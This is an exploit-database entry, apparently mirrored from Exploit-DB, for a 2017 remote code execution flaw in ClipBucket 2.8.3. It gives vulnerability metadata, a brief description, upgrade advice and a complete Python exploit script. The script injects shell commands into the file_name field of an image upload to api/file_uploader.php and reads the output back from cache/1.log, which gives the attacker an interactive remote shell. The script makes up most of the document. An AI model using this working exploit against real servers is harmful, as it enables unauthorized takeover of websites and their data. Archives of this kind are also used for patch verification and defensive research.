ClipBucket PHP Script Remote Code Execution (RCE)

vendor:

ClipBucket

by:

Esecurity.ir

9,8

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: ClipBucket

Affected Version From: 2.8.3

Affected Version To: 2.8.3

Patch Exists: YES

Related CWE: N/A

CPE: a:clipbucket:clipbucket

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2017

ClipBucket PHP Script Remote Code Execution (RCE)

ClipBucket is vulnerable to Remote Code Execution (RCE) due to improper validation of user-supplied input. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable server. This can allow the attacker to execute arbitrary code on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of ClipBucket.

Source

Exploit-DB raw data:

# Exploit Title: ClipBucket PHP Script Remote Code Execution (RCE) 
# Date: 2017-10-04
# Exploit Author: Esecurity.ir 
# Vendor Homepage: https://clipbucket.com/
# Version: 2.8.3
# Exploit Code By : Meisam Monsef - Email : meisamrce@gmail.com - TelgramID : @meisamrce
# Usage Exploit : exploit.py http://target.com/path/



import sys,os
try:
    import requests
except Exception as e:
    print 'please install module requests!'
    sys.exit()
img = 'temp.jpg'
uploadUrl = "api/file_uploader.php"
h = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36'}

def getShell(url):
    try:
        r = requests.get(url+'cache/1.log',headers=h)
        if r.status_code == 200:
            return r.content
        else:
            print 'Sorry site is not vulnerable '
            sys.exit()
    except Exception as e:
        print e
        sys.exit()

def exploit(url):
    while (1):
        cmd = raw_input('$')
        if cmd == '' or cmd == 'exit':
            break
        file_ = {'Filedata': (img, open(img, 'r'),'image/jpg')}
        data = {'file_name':'a.jpg;'+cmd+' > ../cache/1.log;a.jpg'}
        try:
            r = requests.post(url+uploadUrl, files=file_,data=data,headers=h)
            if r.status_code == 200:
                if '"success":"yes"' in r.content:
                    print getShell(url)
                else:
                    print 'Sorry site is not vulnerable '
                    break
            else:
                print 'Sorry site is not vulnerable '
                break
        except Exception as e:
            print e
            break
if not os.path.exists(img):
    print 'please create tiny image file name is ' + img
    sys.exit()

if len(sys.argv) == 2 :
    exploit(sys.argv[1])
else:
    print "Usage Exploit : exploit.py http://target.com/path/";